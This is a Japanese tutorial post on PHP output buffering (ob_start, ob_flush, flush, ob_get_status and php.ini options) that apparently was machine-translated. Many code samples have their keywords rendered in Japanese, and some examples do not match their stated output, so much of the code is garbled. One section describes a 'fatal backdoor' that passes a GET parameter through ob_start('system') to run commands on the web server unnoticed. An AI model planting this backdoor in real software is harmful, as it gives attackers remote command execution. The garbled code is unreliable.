概要
以前、PHPの入出力バッファリングについて勉強したことがありますが、ブログ移転後、元の記事が見つからなくなってしまったので、ついでに今日良い記事を見つけたので再投稿します。
はじめに
出力バッファリングといえば、まずバッファーと呼ばれるものについて説明します。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。
実際、PHP プログラマーにとって、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。
次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します。
コードをコピーします コードは次のとおりです:
「アップル」をエコー;
「IBM」をエコー;
「マイクロソフト」をエコー
上記のスクリプトを実行すると、スクリプトが最初のエコーの実行を終了したときに、対応するコンテンツがブラウザーに出力されず、バッファーに出力され、以下同様に 3 つのエコーがすべて実行されたときに (つまり、スクリプトが終了すると)、バッファーのすべての内容がブラウザーに出力されます。もちろん、このバッファにもサイズ制限があり、php.ini の Output_buffering オプションに従って設定されます。これについては、次の記事で詳しく紹介します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。
次の例は、出力バッファ制御のアプリケーションをよりよく反映しています:
コードをコピーします コードは次のとおりです:
エコー「アップル」スリープ(2);
エコー「IBM」スリープ(2);
「マイクロソフト」をエコー;
出力結果を確認するには少なくとも 2 秒待つ必要があるので、リアルタイムに表示できますか?つまり、最初のエコーが実行されるときに、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。具体的な実装は今のところ保留され、発表されます。記事の最後に。
機能
1. PHPでは、header()、session_start()、setcookie()などのヘッダファイルを送信する関数の前に出力することはできませんが、出力バッファ制御関数を使用して、レポートなしでこれらの関数の前に出力することができます。エラー。実際には、これを行う必要はなく、非常にまれな用途です。
2. 静的キャッシュ ファイルの生成や gzip 圧縮出力の実行など、出力コンテンツを処理します。これは一般的に使用される機能です。
3. phpinfo()、var_dump() などの取得できない関数出力をキャプチャします。これらの関数はブラウザに操作結果を表示します。これらの結果を処理したい場合は、出力バッファ制御関数を使用するのが最適です。悪いアプローチではありません。簡単に言うと、この種の関数には戻り値がありません。これらの関数の出力データを取得するには、出力バッファ制御関数を使用する必要があります。
4. 最後のアプリケーションは、冒頭で述べたいくつかのデータのリアルタイム出力です。
php.iniの関連設定項目
php.ini の出力バッファリング制御に関連するオプションを見てみましょう。output_buffering、implicit_flush、output_handler の合計 3 つのオプションがあります。
1.output_buffering のデフォルトはオフです。オンに設定すると、出力バッファーはすべてのスクリプトで自動的に開きます。つまり、ob_start() 関数は、関数を明示的に呼び出すことなく、各スクリプトで自動的に実行されます。バッファに保存できる最大バイト数を表す整数に設定することもできます。この構成項目については、例 1 の説明で説明しました。
2. Implicit_flush のデフォルトはオフです。オンに設定すると、PHP は出力後にバッファーの内容を自動的に送信します。つまり、flush() は各出力の後に自動的に実行されます。もちろん、有効な出力とは、echo や print などの関数を指すだけでなく、HTML セグメントも含まれます。
3.output_handler のデフォルトは null で、その値は組み込み関数名にのみ設定できます。その機能は、定義された関数を使用してスクリプトのすべての出力を処理することです。その使用法は、以下で紹介する ob_start(‘function_name’) と似ています。
出力制御機能の詳細説明
ob_start()
bool ob_start ([ コールバック出力コールバック[,inchunk_size [, bool $erase ]]] )この関数の意味は、その名前からも理解できますが、出力バッファ処理の次のステップのために出力バッファを開くことです。ここで言及したいのは、そのパラメーターの使用法です。最初のパラメーターはコールバック関数を渡す必要があり、この関数はバッファーの内容をパラメーターとして受け取り、文字列を返す必要があります。バッファの送信とは、ob_flush() などの関数の実行またはスクリプトの実行の完了を指します。 ob_flush() 関数を以下に紹介します。簡単な例を見ることでその使用法を理解できます。
コードをコピーします コードは次のとおりです:
関数 dothing1($echo_thing){
'#' を返します。
}
ob_start('dothing1');
「アップル」をエコー;
結果を出力する
#アップル#
出力結果から、単語の両側に「#」が追加されていることがわかります。これは、バッファの内容を出力するときに、定義した dothing1 関数が実行されることを意味します。
より実践的な例を見てみましょう。これは、gzip を使用して Web コンテンツを圧縮して出力する一般的な方法です。コードは次のとおりです。
コードをコピーします
コードは次のとおりです:
ob_start();
echo str_repeat('Apple', 1024);
出力結果: gzip 圧縮なしの場合、出力コンテンツのサイズは 5.2KB です。
2 番目のパラメータ chunk_size はバッファのバイト長です。バッファの内容がこの長さよりも大きい場合、デフォルト値は 0 で、関数は最後に呼び出されます。 3 番目のパラメータ Erase が flase に設定されている場合、スクリプトが実行されるまでバッファが削除されないことを意味します。 事前にバッファ削除関数 (後述) が実行されている場合は、エラーが報告されます。
ob_start() には非常に多くの用途がありますが、特別な注意が必要な点が 2 つあります:
1.ob_start() は繰り返し呼び出すことができます。つまり、スクリプト内に複数のバッファーが存在できますが、複数の ob_starts が最初のパラメーターを定義している場合は、コールバック関数が定義されている場合でも、すべてのバッファーをネストした順序で閉じることを忘れないでください。ネストされた順序で実行されます。バッファのスタッキングとネストについては、ob_get_level 関数で詳しく説明するので、ここでは詳しく説明しません。
2.ob_start() には、それほど明白ではありませんが、致命的なバックドアの使用法もあります。実装コードは次のとおりです。
コードをコピーします
コードは次のとおりです:
$cmd = 'システム';
ob_start($cmd);
エコー $_GET['a'];
ob_end_flush();
結果をウィンドウの下に出力します:
14 ディレクトリ 30,970,388,480 使用可能バイト
上記の ob_start の使用法を理解していれば、このコードは ob_start 関数を使用してバッファ出力の内容をパラメータとして set 関数に渡し、Web サーバーの権限でリモート アクセスを実現します。検出されずに。
文字列 ob_get_contents (void) この関数は、現時点でバッファーの内容を取得するために使用されます。次の例では、その使用法をよりよく理解できます。
コードをコピーします
コードは次のとおりです:
ob_start('doting2');
エコー「リンゴ」;
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()
ob_get_length()
ob_get_level()
int ob_get_level (void)
この関数は、バッファ メカニズムのネスト レベルを取得するために使用されます。 ob_start() 関数を導入したときに、スクリプト内で複数のバッファをネストできると述べましたが、この関数は現在のバッファのネスト レベルを取得するために使用されます。 、使用方法は次のとおりです:
コードをコピーします
コードは次のとおりです:
ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
走った後、彼らの巣作り関係がはっきりとわかります。
ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
この関数は、現在のバッファーのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメーターが true の場合、この配列を例で分析してみましょう。コードをコピーします
コードは次のとおりです:
ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush();
ランニング結果
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'デフォルトの出力ハンドラ', 'del' => true, )
説明:
1.level はネストレベルで、ob_get_level() で取得した値と同じです
2.typeは処理バッファのタイプで、0はシステム内での自動処理、1はユーザーによる手動処理を意味します
3.statusはバッファ処理のステータスで、0は開始、1は進行中、2は終了です
4.name は、定義された出力処理関数の名前であり、ob_start() 関数の最初のパラメーターとして渡される関数名です
5.del は、バッファ削除操作が実行されたかどうかを示します
ob_flush()
void ob_flush (void)
この関数の機能は、現在のバッファの内容を「送信」し、同時にバッファをクリアすることです。ここで「送信」という言葉が使用されていることに注意してください。これは、この関数を呼び出してもバッファの内容は出力されず、バッファもクリアされないことを意味します。後でフラッシュ関数を呼び出す必要があります。フラッシュの使用法については後で説明しますが、ここでは例は示しません。
フラッシュ()
ボイドフラッシュ (ボイド)
この関数は比較的一般的に使用されており、キャッシュ領域に影響を与えることなく、以前のすべての出力をブラウザに送信して表示するために使用されます。つまり、echo などの関数の出力、HTML エンティティ、ob_start() の実行によって送信されたコンテンツのいずれであっても、flush() の実行後にブラウザに表示されます。
ob_flush()とflush()の違い
キャッシュが有効になっていない場合、スクリプトが出力したコンテンツはサーバー側で出力待ちになっており、flush()で出力待ちのコンテンツをクライアントに即座に送信することができます。 キャッシュがオンになった後、スクリプトによって出力されたコンテンツは出力キャッシュに保存されます。この時点で、flush() を直接使用すると、コンテンツはクライアントに送信されません。 ob_flush() の機能は、元々出力キャッシュに格納されていたコンテンツを取り出して出力待機状態に設定することですが、この場合、最初に ob_flush() を使用する必要があります。その後、flush() を実行すると、クライアントはスクリプトの出力をすぐに取得できます。
void ob_implicit_flush()
この関数は、絶対フラッシュ モードをオン/オフするために使用されます。これにより、各出力後にフラッシュ() が自動的に実行され、効率を向上させるために明示的にフラッシュ() を呼び出す必要がなくなります。
その他の関連機能
1.bool ob_end_flush (void)
2.string ob_get_flush (void)
3.void ob_clean (ボイド)
4.bool ob_end_clean (void)
5.string ob_get_clean (void)
リアルタイムでデータを出力します
上記の内容を読むと、PHP のバッファ制御機能についてより深く理解できると思います。ここで、導入部で残された質問に戻りましょう。例 2 のスクリプトで、4 を待たずにコンテンツのリアルタイム表示を実現します。すべては数秒後に表示されます。
キャッシュがオンになっているかどうかに応じて、次のような書き方が考えられます。テスト中に期待した効果が得られない場合は、header('content-type:text/html;charset=utf-8) の下に記述します。 '); str_repeat(' ', 1024); を挿入することもできますが、一部のブラウザではこれを行っても効果が現れない可能性があります。次のコードでは header('content-type:text/html;charset=utf-8'); を省略しないでください。省略しないと、一部のブラウザで効果が見られません。
コードをコピーします コードは次のとおりです:
ob_start(''); //ここでは ob_start('ob_gzhandler') を使用しても無駄です
header('content-type:text/html;charset=utf-8');
「アップル #」をエコーします。
ob_flush(); フラッシュ();
睡眠(2);
エコー「IBM #」;
ob_flush(); フラッシュ();
睡眠(2);
「マイクロソフト」をエコー;